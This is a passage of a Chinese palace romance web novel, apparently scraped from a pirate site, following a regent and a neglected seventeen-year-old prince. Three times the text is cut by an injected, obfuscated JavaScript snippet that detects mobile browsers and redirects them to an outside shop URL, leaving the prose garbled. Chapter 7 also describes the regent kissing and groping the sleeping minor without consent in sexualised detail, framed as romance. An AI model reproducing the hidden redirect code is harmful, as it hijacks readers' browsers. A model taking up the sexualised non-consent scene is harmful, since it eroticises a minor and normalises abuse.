燕元明也没松手,低头看着怀里毛茸茸的发顶,指尖无意识地卷起一缕乌发。 发丝柔软,带着淡淡的皂角清香。 远处传来宫人的脚步声,还有隐约的说话声。 云棠身体一僵,下意识想退开。 可燕元明没松手,反而就着拥抱的姿势,手臂下滑,一手托住他的腿弯,一手揽住他的背。直接将人打横抱了起来。 云棠惊呼一声,下意识搂住燕元明的脖子:“王爷?” 燕元明低头看他,声音温和又强势,“我送你回去。” 说着,抱着人转身就往清莲苑方向走。 云棠整个人都懵了。 他被燕元明稳稳抱在怀里,身体紧贴着对方胸膛,感受到那有力的手臂和温热的体温。 这太过了。 “王爷,放我下来……”他小声说,脸烧得通红,“被人看见……” “无碍。”燕元明脚步不停,“没人敢说什么。” 云棠心跳漏了一拍。 他偷偷抬眼,看向燕元明的侧脸。 线条分明,下颌紧绷,俊得让人移不开眼。 燕元明察觉他的目光,低头与他对视:“看什么?” 云棠慌忙移开视线,耳尖红透:“没什么……” 燕元明低笑一声,手臂将他往上托了托,抱得更稳。 这个动作让两人的脸靠得更近,呼吸几乎交缠在一起。 云棠心跳如鼓。 他其实……很喜欢这样。 被燕元明抱着,窝在他怀里,感受那份独一无二的保护和温暖。 他悄悄调整了下姿势,让自己靠得更舒服些。 脸往燕元明颈窝埋了埋,像小动物般,轻轻蹭了蹭。 燕元明身体几不可察地一顿。 “冷么?”他问。 云棠摇头:“不冷。” 有王爷抱着,怎么会冷。 燕元明却还是扯了扯自己的大氅,将云棠裹得更严实些。 玄黑的大氅几乎将云棠整个人包住,只露出一张白皙的小脸。 那些太监宫女远远看见,慌忙低头退到路边,等燕元明走过,才敢偷偷抬眼,脸上满是惊诧。 云棠起初还害羞,想把脸藏起来。 可燕元明调整了姿势,让他能舒适地靠在自己肩头,躲无可躲。 渐渐地,云棠也就不躲了。 他靠在燕元明肩上,目光落在他颈侧。 喉结分明,随着说话或吞咽微微滚动。 看着看着,云棠忽然想起…… 脸又开始发烫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261340|198040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “王爷……”他小声开口。 “嗯?” “您怎么会……在御花园?” 燕元明脚步不停:“路过。” 云棠抿唇。 御花园在皇宫东侧,燕元明的摄政王府在宫外,怎么也不可能“路过”这里。 燕元明低头看他一眼,见他脸上写着不信,才淡淡道: “听说太后今日心情不佳,怕你受委屈,来看看。” 云棠心头一暖。 又酸又甜。 原来王爷是特意来的。 不是路过,是担心他,所以专程过来看他。 他握紧了燕元明的衣襟,声音更小:“谢谢王爷……” “不必谢。”燕元明说,“以后再去请安,让宫人跟着,别一个人走僻静路。” “嗯。” 说话间,清莲苑已经到了。 那扇斑驳的木门紧闭着,门前积雪未扫,分外冷清。 燕元明在门前停下,低头看着怀里的人:“到了。” 云棠有些不舍,手还搂着他的脖子,小声说:“……谢谢王爷送我回来。” 燕元明将他轻轻放下。 云棠脚刚沾地,膝盖处传来一阵酸软。 方才在慈宁宫跪了太久,又受了惊吓,放松下来,腿竟有些使不上力。 他身子晃了晃。 燕元明立即扶住他的腰:“小心。” 手掌温热有力,稳稳托住了他。 两人距离极近,云棠抬头,正好对上燕元明的眼。 他眼眶还红着,睫毛湿漉漉的,唇上伤口结了薄薄的血痂,这副模样…… 燕元明眸色深了深。 他松开扶在云棠腰上的手,转而握住了他的手腕。 另一只手从怀中取出一样东西,塞进云棠手心。 是一枚小巧的羊脂玉哨。 通体莹白,温润剔透,尾端系着黑色丝绦,编成精致的结。 “拿着。”燕元明说,“若有事,吹响它,无论在哪里,我的人都会知道。” 玉哨还带着他的体温,贴在云棠掌心,暖暖的。 云棠握紧,指尖微微发颤:“王爷……” “收好。”燕元明松开他的手腕,抬手,指节轻蹭了蹭他脸颊,“别让我担心。” 云棠脸又红了。 他攥紧玉哨,像攥住了一份沉甸甸的承诺。 “我……”云棠想说些什么,又不知从何说起。 燕元明忽然俯身,凑到他耳边,压低声音,气息拂过耳廓,带来酥麻的痒意: “保护好自己。” 说完,直起身,深深看了云棠一眼,转身离去。 玄黑衣袍在雪地里渐行渐远,消失在宫道拐角。 云棠站在原地,许久没动。 脸颊滚烫,耳尖红透,心跳快得像要冲出胸膛。 他摊开手心,看着那枚玉哨,又想起刚才的一切,唇角不自觉扬起。 虽然经历了惊吓,可此刻心里满满的,全是甜。 像冬日里喝了一碗热热的蜜水,从喉咙暖到心底。 云棠推开清莲苑的门,走了进去。 院中积雪依旧,冷清破败,和往常没什么不同。 可云棠却觉得,今日这院子好像没那么冷了。 他攥紧手中的玉哨,快步走进屋内。 --- 摄政王府,书房。 燕元明刚脱下大氅,周总管就端着热茶进来了。 “王爷,您回来了。”周总管将茶盏放在案上,觑着燕元明的脸色,“方才暗卫来报,三皇子的人在盯着清莲苑。” “查清楚,”燕元明沉声道,“楚云凌今日是临时起意,还是早有预谋。” “是。”周总管应下,又犹豫道: “王爷,今日您抱着七殿下回宫,怕是已经传开了,宫里那些闲嘴的,不知会传成什么样。” 燕元明抬眼:“传成什么样?” 周总管一噎。 燕元明放下茶盏,指尖在案上轻轻敲击,“本王护着的人,轮不到他们议论。” “可是……”周总管小心翼翼,“陛下那边……” “陛下那边,本王自有分寸。” 燕元明打断他。 周总管不敢再多言,躬身退下。 书房里重归寂静。 燕元明靠在椅背上,闭上眼。 指尖无意识摩挲着,回忆云棠腰肢的触感。 纤细,柔软,温热。 燕元明唇角微扬。 小家伙今天哭成那样,可怜是真可怜,可也……可爱得紧。 明明害羞得耳朵都红了,却还偷偷往他怀里蹭。 他睁开眼,目光落在窗外。 雪又下起来了,纷纷扬扬。 6. 第 6 章 清莲苑的门被叩响时,云棠刚醒不久。 他拥着薄被坐在榻上,手里攥着那枚羊脂玉哨,指尖摩挲着温润的玉面,唇角含笑。 “殿下,殿下!”宫女青禾的声音在门外响起,带着难得的雀跃,“快出来瞧瞧!” 云棠将玉哨小心塞进贴身里衣,这才披衣起身。 推开房门,晨光刺目。 他眯了眯眼,待看清院中景象,整个人怔在原地。 昨日还冷清破败的院子,竟摆满了朱漆木箱。 十来个箱子整整齐齐码在扫净积雪的青石地上。 箱盖全部敞开,箱内物品琳琅满目,几乎要溢出来。 阿福正指挥着几个面生的太监搬东西。 青禾站在廊下,眼睛瞪得圆圆的,看看这个,又看看那个,满脸都是不敢置信的欢喜。 “这是……”云棠喃喃开口。 一个身着深蓝总管服饰的太监快步上前,脸上堆着恭敬的笑,躬身行礼: “给七殿下请安,奴才是摄政王府的周顺,奉王爷之命,给殿下送些日常用度来。” 周顺侧身,一样样指给云棠看:“这是上品银丝炭,共二十筐。” “王爷特意嘱咐,这炭无烟耐烧,冬日里最是暖和,让殿下务必烧足,千万别冻着。” 云棠看向那些银白色的炭块,质地坚实,泛着细腻的光泽。 清莲苑往年冬日里那些劣质黑炭,烧起来满屋烟尘,还总是不够烧。 “这些是御寒的衣物。”周顺引他看向另一个箱子。 毛色顶顶好的玄狐裘,白狐腋斗篷,织锦羽缎披风,还有貂皮手笼,暖耳…… “王爷说,殿下身子弱,出门定要穿戴周全。” 云棠的目光落在那件玄狐裘上。 毛色乌黑油亮,雍容华贵,与他身上这件洗得发旧的棉袍天壤之别。 昨日燕元明披在他身上的那件大氅,也是这般玄黑的颜色。 “日用物件在这儿。”周顺又打开几个箱子。 “江南云锦十匹,蜀锦十匹,您瞧瞧这色泽,柔润得很,做衣裳被面都好。” “青玉暖砚,紫铜鎏金手炉,成套的官窑瓷具……” 周顺细细数来。 云锦流光溢彩,瓷器温润如玉,手炉精巧别致。 云棠看着这些他连名字都很少听过的物件,喉咙有些发紧。 “饮食补品在那边。”周顺继续道。 “血燕,官燕最是润肺,还有些点心蜜饯,王爷说,殿下喝药苦时,可以甜甜嘴。” 最后,周顺从怀中取出一个紫檀木匣,双手奉上。 “这是一匣新书,王爷亲自挑的,多是游记杂谈。”周顺笑着说,“王爷说了,给殿下解闷用。” 云棠接过木匣,打开。 里面整齐码放着十几本崭新的书册,墨香犹存。 他随手翻开最上面一册,扉页上赫然是燕元明凌厉劲瘦的笔迹: “天冷,莫出门,在屋里看书。” 云棠指尖轻轻拂过那些字迹,唇角不自觉微扬。 “还有最后一样。”周顺引他看向廊下。 “是架古琴,奴才不懂这个,但王爷特意嘱咐,一定要轻拿轻放,说是……旧物。” 云棠呼吸一滞。 他快步走过去。 琴身温润,桐木面板纹理细腻流畅,岳山,琴轸,雁足皆是老紫檀所制。 虽无繁复装饰,却透着古朴雅致的韵味。 琴尾处,刻着一个极小的莲纹,那是他娘亲生前最爱的纹样。 娘亲擅琴。 他很小的时候,常常抱着他,在冷宫破旧的窗边,用一把快散架的旧琴,断断续续弹着不成调的曲子。 琴声呜咽,伴着窗外永无止境的寒风。 后来琴坏了,娘亲也病了,再后来…… 云棠伸手,指尖抚过琴弦。 “王爷连这个都记得。”他低声说,眼底泛起温热。 周顺察言观色,笑道:“王爷对殿下,那是真真上心。” “这些东西,都是王爷昨儿回去后亲自拟的单子,今儿一大早就让奴才们备齐送来的。” 他顿了顿,声音压低些: “王爷还吩咐了,殿下缺什么,只管差人去王府说一声,千万别委屈了自己。” 云棠点头:“替我谢过王爷。” “殿下客气。”周顺行礼。 “那奴才就不打扰了,这些东西,殿下看是收在哪儿,吩咐一声就是。” 他又转向院内其他人,朗声道:“都仔细着点儿!七殿下这儿的东西,一件都不许马虎!” “是!”众人齐声应和。 周顺这才带着人退下了。 院门重新关上,但清莲苑已不复往日清冷。 阿福和青禾凑过来,脸上都是掩不住的喜色。 “殿下,这可真是……” 阿福搓着手,眼眶发红,“我长这么大,还没见过这么多好东西往咱们这儿送呢。” 青禾也小声说:“方才那些公公宫女,看殿下的眼神都不一样了。” 云棠却没什么喜色。 他站在廊下,身上还披着昨日那件旧棉袍,指尖无意识攥紧袖口,心里甜涩交织。 “把这些都登记入库吧。”他对阿福说,“炭火搬些到暖阁,今日烧足些。” “是!” —— 云棠没想到,皇帝的召见来得这么快。 午后,他刚将那些赏赐整理妥当,乾清宫的大太监就来了。 那是个面白无须的老太监,姓李。 在御前侍奉了三十年,见谁都带着三分笑,可那笑从不达眼底。 “七殿下,陛下召您去乾清宫问话。”李公公笑眯眯地说,“轿子已在外面候着了。” 云棠心头一跳。 他换了身素净的月白锦袍。 仍是洗得发旧的,没穿燕元明送来的新衣。 对着铜镜整理仪容时,他将那枚玉哨取出,握在手心片刻,又小心塞了回去。 玉哨贴着胸口,温润微凉,像一道护身符。 乾清宫一如既往地庄严肃穆。 云棠跪在金砖地上,殿内过旺炭火蒸腾出的热浪,让他有些胸闷。 他已经跪了半盏茶的时间。 御案后,皇帝楚景煜正在批阅奏折。 侍立的宫人眼观鼻鼻观心,殿角铜漏滴答,每一滴都敲在云棠心上。 终于,皇帝搁下笔。 “起来吧。” 云棠谢恩起身,垂首立在殿中。 月白色锦袍洗得发旧,袖口处有补痕,站在满殿金玉辉煌里,愈发单薄。 “昨日御花园的事,”楚景煜声音平淡,听不出喜怒,“是老三胡闹,朕已训斥过了。” 云棠袖中的手微微收紧:“谢陛下关怀,三皇兄只是与臣弟玩笑。” 皇帝轻笑一声,“老七,你今年十七了吧?” “是。” “时间过得真快。”楚景煜端起茶盏抿了下。 “你娘亲去得早,朕初登基,忙于朝政,对你难免疏忽,你可怨朕?” 云棠立即跪倒:“臣弟不敢,陛下日理万机,臣弟能安稳度日,已是天恩。” “是吗?”皇帝轻声道,目光落在他低垂的头顶,“朕看你昨日,倒是并不安稳。” 殿内空气一凝。 云棠心跳如鼓,强迫自己保持冷静。 “臣弟愚钝,昨日确实受了惊吓。”他一字一句道,“幸得摄政王路过解围,臣弟感激不尽。” 皇帝眼神微动。 “燕元明……”楚景煜缓缓放下茶盏,杯底碰触紫檀案面,发出清脆一响。 “他是先帝亲封的摄政王,辅佐朕,替朕分忧甚多。” 云棠静静听着,手心渗出薄汗。 “他也老大不小了。”皇帝话锋一转道,“先帝在他这个年纪,早已立后纳妃,子嗣成群。” “元明至今未娶,连个侍妾都没有,朝中多少双眼睛盯着,多少世家盼着把女儿嫁入王府。” 云棠指尖掐进掌心。 “他的婚事,牵动朝局,关乎国本。”皇帝的声音沉下来,“老七,你明白朕的意思吗?” 来了。 云棠深吸一口气,抬起眼帘。 那双眼睛清亮澄澈,尽是坦然。 楚景煜竟有一瞬怔忪。 他的眼睛,太像他娘了,安静望着你时,干净得让你所有算计无处遁形。 “臣弟明白。”云棠伏身叩首,额头触地。 “陛下苦心,臣弟感念,王爷仁厚,怜臣弟孤弱,偶有照拂,臣弟感激不尽,别无他心。” 他顿了顿道:“臣弟此生,惟愿安静度日,为陛下,太后祈福尽孝,不敢有非分之想。” “王爷清誉,朝堂安稳,重于泰山,臣弟虽卑微,亦知分寸。” 殿内寂静。 李公公偷眼去看皇帝脸色。 楚景煜手指在案上轻轻敲击,目光落在云棠身上,久久未语。 这番话,说得太漂亮了。 不卑不亢,进退有度。 这真是那个在冷宫长大,在宫宴上任人欺凌的七皇子? 良久,皇帝挥了挥手。 “你明白就好,退下吧。” “臣弟告退。” 云棠起身行礼,转身向殿外走去,背脊依旧挺直,袖中的手指微微颤抖。 在他即将踏出殿门时,皇帝的声音从身后传来: “你娘亲的坟茔,朕已命内务府派人重修了。” 云棠脚步猛地一顿。 “谢陛下恩典。” 只停了一瞬,便继续向外走去。 踏出乾清宫的瞬间,寒风扑面而来,像一记耳光。 云棠站在高阶上,仰头看天。 灰蒙蒙的云层压得很低,细雪又开始飘落,沾在他睫毛上,很快融化成冰冷的水珠。 皇帝最后那句话,在他耳边反复回响。 重修娘亲的坟茔,是补偿?还是警告? 提醒他,无论他走到哪里,都逃不出皇权的掌控。 娘亲。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261341|198040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个他记忆中只剩下模糊影子的女人。 一个被临幸后遗忘的宫女,病死在冷宫,连口薄棺都没有。 七岁那年,是燕元明偷偷带他出宫,在城外找了处僻静山坡,立了块简陋的碑。 “等我以后有能力了,一定给娘亲修个像样的坟。”他当时哭着说。 十年了。 云棠闭了闭眼,一步步走下台阶,雪在脚下发出咯吱声响。 宫道两旁有太监宫女匆匆走过,见到他,有的侧目,有的窃语。 这么多年,他早已习惯。 可昨日之后,有些东西不一样了。 云棠伸手入怀,握住那枚温润的玉。 凉意很快被他的体温焐热。 “王爷……”他轻声自语,呼出的白气在冷风中迅速消散,“陛下的话,我都听懂了。” 他顿了顿,眼底闪过一丝亮光。 “可是……我舍不得。” 舍不得那份温暖,舍不得那个怀抱,舍不得燕元明看他时眼中的温柔。 他握紧玉哨,指节泛白,良久,喃喃道,“我愿押上所有,赌一把。” —— 回到清莲苑时,已是申时。 阿福和青禾还在收拾院子,见云棠回来,都松了口气。 青禾小跑着迎上来:“殿下,您可回来了。” “方才又来了一拨人,说是内务府派来修葺屋顶的,奴婢按您吩咐,让他们从偏殿开始修了。” 云棠点头:“好。” 他抬眼看向主殿的屋顶。 瓦片残破,椽子腐朽,往年冬日总漏雪漏雨。 皇帝重修娘亲坟茔,又派人来修葺他的宫殿。 恩威并施,手段高明。 “殿下,”阿福犹豫着开口,“摄政王府那边又送了些东西来。” 云棠顺着他的目光看去。廊下又多了几个箱子,比早上的小些,但做工更精致。 “周公公说,是些小玩意儿,给殿下解闷。” 阿福压低声音,“奴才看了眼,有棋具,画笔,颜料,还有些奴才叫不上名字的稀罕物件。” 云棠走到廊下,打开其中一个箱子。 里面整齐摆放着青玉棋盘,云子棋子,旁边是上好的宣纸,各色颜料,还有几支狼毫笔。 另一个箱子里是些精巧的摆件: 象牙雕的小屏风,沉香木刻的笔架,天青色的瓷镇纸。 每一样,都透着用心。 云棠拿起那方瓷镇纸。 触手温润,釉色清雅,在冬日黯淡光线下,像一汪凝固的春水。 他想起燕元明批注在书上的字迹。 凌厉,劲瘦,力透纸背。 可写的内容却让他忍不住莞尔。 “殿下,”青禾小声提醒,“您先进屋吧,外头冷,暖阁里炭火烧得足,暖和着呢。” 云棠这才回过神,点头进了暖阁。 暖阁里果然温暖如春。 银丝炭在铜盆里烧得正旺,无烟无味,只散出持续的热度。 窗子关着,但特意留了条缝透气,不至于闷着。 榻上铺了厚实的新棉垫,柔软得让人一坐下去就不想起来。 云棠屏退了阿福和青禾,独自坐在窗边的矮榻上。 他怀里抱着那个紫檀木匣,一本本翻看里面的书。 游记,杂谈,风物志……果然都是解闷的闲书,与他往日看的经史子集截然不同。 每一本的扉页或书页间隙,都可能有燕元明随手写的批注。 在一本江南风物志里,写到西湖醋鱼的做法,燕元明批:“酸,不如王府厨子做的清蒸鲈鱼。” 云棠想象着他一本正经写下这行字的样子,唇角弯了弯。 翻到另一本北疆游记,作者感慨大漠孤烟,燕元明批:“风沙大,缺水,不宜居,作者矫情。” 云棠终于笑出声。 笑着笑着,眼眶却热了。 他放下书,望向窗外纷飞的大雪。 暖阁里太安静,只有炭火偶尔的噼啪声,让回忆如潮水般涌来。 十年。 从那个雪夜到今日,整整十年。 云棠闭上眼睛,指尖摩挲着书页上燕元明的字迹。 “我知道不该……”他轻声自语,声音在暖阁里飘散,“可心不由己。” 喜欢他低沉的声音,喜欢他掌心的温度,喜欢他对自己的温和。 这份感情如暗河潜流,在十年间悄无声息地滋长,等他发觉时,早已深植心底,无法拔除。 云棠睁开眼,眼底一片清明,“我不会放手的……” 窗外雪落无声。 云棠起身,走到那架古琴旁。 指尖拂过琴弦,未成曲调,已有清韵。 他想起娘亲弹琴的样子。 那个温柔沉默的女子,一生被困在深宫,唯一自由的时刻,大概就是抚琴时。 “娘,”云棠轻声说,“若你在天有灵……会怪我贪恋这不该得的温暖吗?” 无人回答。 只有炭火暖意,将他温柔包裹。 7. 第 7 章 暖阁里太暖和,炭火的热气,棉褥的柔软,书页的墨香,都催人欲睡。 云棠渐渐觉得眼皮发沉。 他索性侧身躺在矮榻上,将脸埋进燕元明昨日给的那件貂裘里。 绒毛柔软,带着熟悉的松雪气息。 那是燕元明身上的味道。 他深深吸了一口气,感到前所未有的安心。 忽然,一个念头在心底悄悄发芽: 今日赏赐如此大张旗鼓,王爷……会不会亲自来看一眼? 这个念头让他心跳微微加快。 或许会呢? 或许他处理完公务,会顺路过来,看看这些赏赐是否合意,看看炭火是否烧足。 看看他……是否安好。 云棠睫毛轻颤,在裘衣绒毛里蹭了蹭脸颊。 他翻了个身,换了一下姿势,特意选在靠窗的位置。 午后的光从窗缝透进来,斜斜打在榻上。 这个角度的光线,会把人勾勒得分外清晰。 他又悄悄抬手,将里衣的系带松了一扣。 衣领微微敞开,露出一段白皙的锁骨,延伸向颈侧。 肌肤泛着细腻莹润的光泽,像上好的羊脂玉。 做完这些,云棠闭上眼,放任自己沉入半梦半醒的朦胧状态。 呼吸渐渐均匀绵长。 他其实没有睡熟,只是闭着眼,全身感官都敏锐地捕捉着周围的动静。 风声,雪落声,炭火声…… 以及,可能响起的脚步声。 他在等。 等那个人的到来。 日暮时分,雪渐渐停了。 夕阳从云层缝隙漏出几缕,将天边染成淡淡的金红色。 光线透过暖阁窗纸,变得昏黄柔和,给屋内一切都蒙上一层暧昧的滤镜。 门被轻轻推开。 一道玄黑身影悄无声息地踏入,反手将门合上,隔绝了外面的寒气。 燕元明站在门口,目光第一时间投向窗边的矮榻。 看到那个侧卧熟睡的身影时,他冷峻的眉眼不自觉柔和下来。 他今日其实很忙。 早朝后与兵部商议边关防务,午后又见了几个地方大员,直到申时才得空。 周总管来回禀,说赏赐已送到清莲苑,七殿下收下了,看着情绪尚可。 “殿下在暖阁看书,后来就歇下了。” 周总管斟酌着措辞,“奴才瞧那暖阁,炭火烧得足,暖和得很。” 燕元明点了点头,本想直接回府,可马车行到半路,还是改了方向。 “去清莲苑。” 他想亲眼看看。 看看他是否还在为昨日的事害怕。 而现在,他看见了。 暖阁里温暖如春,银丝炭烧得正旺,空气里弥漫着淡淡的墨香和云棠身上的干净气息。 矮榻上的人裹着他的貂裘,侧卧着,睡得正熟。 燕元明放轻脚步走过去,在榻边驻足。 然后,他就移不开眼了。 夕阳余晖恰好斜斜打在云棠身上。 他的睫毛又长又密,在眼下投出小片阴影,随着呼吸轻轻颤动。 鼻梁秀挺,线条优美,往下是淡粉色的唇,微微张开一条缝,吐息轻柔均匀。 脸颊泛着暖意带来的浅绯,几缕乌黑发丝贴在莹白的颊边,肌肤如玉。 燕元明的目光顺着脸颊往下。 衣领微敞,露出一段精致的锁骨。 再往下,是隐约的胸膛轮廓,随着呼吸微微起伏。 在昏黄光线下,那片肌肤白得晃眼,细腻得像上好的瓷器。 他的视线继续下移。 云棠侧卧着,腰肢凹陷的弧度惊心动魄。 锦被只盖到腰际,下身曲线在轻薄衣料下清晰勾勒。 臀线因姿势微微起伏,饱满而柔和。 接着是修长笔直的双腿,蜷曲着,有种不自知的诱惑。 整个人笼罩在斜阳余晖中,安静,美好,脆弱,又勾人。 像一幅精心绘制的仕女图,却比画中人多出鲜活的生命力。 多出让人移不开眼,纯粹而不自知的诱惑。 燕元明喉结滚动了一下。 他见过无数美人。 宫中嫔妃,世家贵女,边关献上的异域舞姬……环肥燕瘦,各具风情。 可从来没有一个人,能像云棠这样。 不需要任何矫饰,不需要刻意勾引。 只是安静睡在那里,就轻而易举勾起他心底的怜惜,和不可告人的渴望。 他想占有,想藏起来,不让任何人看见。 燕元明在榻边坐下,动作很轻。 他盯着云棠的睡颜看了很久,久到夕阳又偏移了几分,暖阁里的光线愈发昏黄暧昧。 然后,他伸出手,指尖拂开云棠颊边那缕调皮的发丝。 触感温软,细腻,像触碰最上等的丝绸,又比丝绸多了鲜活温度。 云棠在睡梦中无意识嘤咛一声,偏了偏头,脸颊蹭过他的指尖。 燕元明呼吸一滞。 那个轻柔的触碰像打开了一道闸门。 他俯下身,吻了吻云棠的额头,像对待易碎的珍宝,小心翼翼,珍而重之。 唇瓣触碰肌肤,细腻温热。 然后,唇瓣下移。 吻过闭合的眼睑,睫毛轻颤扫过唇瓣,痒痒的, 吻过秀挺的鼻尖,那里的肌肤更凉一些。 最终,落在淡粉色的唇上。 起初只是轻柔贴合,试探般地摩挲。 云棠的唇很软,温热湿润,像刚绽开的花瓣。 燕元明闭了闭眼,理智在挣扎。 该停下了。 他只是来看看他,确认他安好,不该…… 可唇下的触感太美好,云棠身上干净的气息太诱人。 还有这暖阁里昏黄暧昧的氛围,一切都像最上等的□□。 他克制不住地,加深了这个吻。 舌尖舔过唇缝,温柔地探入,撬开齿关,深入更温热的口腔。 他尝到云棠口中淡淡的甜味,是睡前吃了蜜饯吗? 燕元明眸色更深。 他的手也没闲着。 右手抚上云棠的腰侧,隔着一层里衣,感受那纤细惊人的弧度。 掌下的身体柔韧温热,随着呼吸轻微起伏。 不够。 燕元明指尖微动,挑开云棠本就松散的衣带。 里衣敞开,他的手掌毫无阻隔地贴上了腰腹细腻的肌肤。 触感比想象中更美妙。 温热,柔滑,紧实中带着少年人特有的柔软。 他掌心贴着那处肌肤,轻轻摩挲,感受着手下身体的温度和微微的颤栗。 云棠在睡梦中又轻哼一声,身子无意识地扭动,衣襟散得更开。 大片胸膛暴露在空气中。 白皙,细腻。 两点浅粉在胸口随着呼吸若隐若现,青涩诱人。 燕元明的呼吸陡然加重。 他的手缓缓上移,抚过肋骨分明的侧腰,一寸寸向上。 掌心紧贴着温热肌肤,感受那细腻纹理和逐渐加快的心跳。 拇指指腹在锁骨下方暧昧地画圈。 那里肌肤最薄,能感觉到脉搏的跳动。 一下,又一下,急促而鲜活。 云棠的呼吸也乱了。 即使在睡梦中,身体也本能地对这样的触碰产生反应。 他眉头微蹙,唇间溢出细碎的呻吟,身体无意识地弓起,像在迎合,又像在逃避。 燕元明低下头,将脸埋进云棠的颈窝。 深深吸气。 是少年特有的干净体香,混合着淡淡药草味。 云棠体弱,常年服药,身上总带着这股微苦的气息。 可此刻在燕元明闻来,却比任何熏香都诱人。 他的唇瓣流连于脖颈,锁骨,留下一个个浅粉色的印记。 不敢用力,怕惊醒他,也怕弄伤这细嫩的肌肤。 可欲望如潮水翻涌,几乎要冲破理智的堤坝。 燕元明的手滑到云棠的后腰。 掌心紧贴那处凹陷的弧度,稍一用力,将人往自己怀里带了带。 两人的身体贴合更紧,他能清晰感觉到云棠身体的柔软,也能感觉到自己身体的变化。 欲望如野火燎原。 他的手下移,探入更深处。 指尖划过尾椎,感受到云棠身体猛地一颤。 在他即将越过最后防线,手掌即将探入亵裤时。 “嗯……” 一声软糯含糊的呻吟,从云棠唇间溢出。 他眉头紧蹙,睫毛剧烈颤抖,像是要醒来。 燕元明所有动作猛地僵住。 理智瞬间回笼。 他在做什么? 趁人之危,无耻之极。 燕元明迅速抽回手,拉好云棠散开的衣襟。 可系带在方才的纠缠中早已松开,他匆忙间只能草草拢住。 那片莹白胸膛仍半遮半露,在昏黄光线下更添诱惑。 他深吸几口气,强迫自己平复呼吸,可眼底的欲色未退,身体紧绷。 云棠又嘤咛一声,翻了个身,脸朝向他这边。 衣襟随着动作又散开些,露出更多肌肤。 燕元明闭了闭眼。 不能再看了。 他俯身,再次吻住云棠的唇。 舌尖霸道地撬开齿关,深入搅动,像要留下自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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云棠在心底松了口气,却又涌起一股说不清道不明的失落。 他不敢深想。 现在,燕元明走了。 云棠缓缓抬手,指尖轻触自己的嘴唇。 红肿,湿润,还残留着被亲吻啃咬的微痛,和被舌尖舔舐过的湿滑触感。 他回忆起燕元明唇瓣的温度,舌尖探入时的霸道,深吻时几乎要夺走他所有呼吸的炽热。 脸颊滚烫得厉害。 他的手往下,抚过自己的脖颈,锁骨,那里还残留着被亲吻过的触感。 燕元明的唇流连过的地方,此刻像有细小的电流窜过,酥麻微痒。 再往下,是腰腹。 燕元明的手掌在那里摩挲过,掌心滚烫,贴着他肌肤一寸寸移动,所过之处都像被点燃。 云棠将脸埋进枕头,无声地喘息。 太……太过分了。 可是…… 他悄悄翘起唇角。 可是心里好甜。 像吃了最甜的蜜饯,甜意从心底泛上来。 那种被珍视,被渴望,被小心翼翼对待的感觉,让他整个人都轻飘飘的,像踩在云端。 “王爷……”云棠轻声自语,声音带着笑,“你果然……对我有情。” 而且情动至深。 深到险些失控,深到需要靠他的“惊醒”来悬崖勒马。 这个认知让云棠心跳得更快,甜意更浓。 但很快,他又冷静下来。 皇帝的话在耳边回响:“他的婚事,牵动朝局,关乎国本。” 今日之事,若被任何人知道,都会成为攻击燕元明的利器。 云棠坐起身,衣襟随着动作滑落,露出更多肌肤。 他低头看着自己身上的痕迹,脸更红了,快速拉好衣襟。 “不能给王爷添麻烦。”他低声告诉自己,“要更小心,更谨慎。” 他望向窗外渐暗的天色,眼底晦涩不明。 “若这是一条艰难的路,只要王爷愿意走,我就敢陪。” “来日方长。” 云棠躺回去,将脸埋进枕头里,无声地笑了。 耳尖通红,唇角高高扬起。 窗外,雪又下了起来。 暖阁里炭火正旺,温暖如春。 新棉被柔软蓬松,带着阳光晒过的气息,将他温柔包裹。 云棠闭上眼,这次真的沉入了睡眠。 8. 第 8 章 深夜,雪又下起来了。 清莲苑的暖阁里,炭火烧得正旺,银丝炭无烟无味,源源不断散出暖意。 窗纸上映着摇曳的烛光,本该是温暖安眠的夜。 可榻上的人睡得不安稳。 楚云棠蜷缩在厚厚的锦被里,眉头紧锁,额上渗出细密的冷汗。 他做了许多混乱的梦。 有皇帝,有燕元明。 “王爷……”他在梦中呓语,声音含糊。 然后便是咳嗽。 起初只是轻微的呛咳,他翻了个身,想继续睡去。 可胸腔里那股痒意越来越重,像有羽毛在轻轻挠动,挠得他不得安宁。 他捂住嘴,咳得剧烈起来,单薄的肩膀在锦被下颤-抖。 这一咳,便再也止不住了。 “咳咳……咳咳咳!” 撕心裂肺的咳嗽声在安静的暖阁里响起。 云棠撑起身子,喉咙火烧火燎的,胸腔像压了一块沉重的冰,又冷又痛。 他喘着气,抬手摸了摸自己的额头。 触-手滚烫。 “青禾……”他哑着嗓子唤了一声,想下榻倒水。 可脚刚沾地,眼前便是一阵天旋地转,整个人软软地往前栽去。 “殿下!” 守在门外的青禾闻声冲进来,接住他摇摇欲坠的身子。 触-手的热度让她脸色骤变:“天啊,怎么这么烫!” 云棠靠在她肩上,意识已经开始模糊。 他听见阿福焦急的脚步声,听见青禾带着哭腔的喊声。 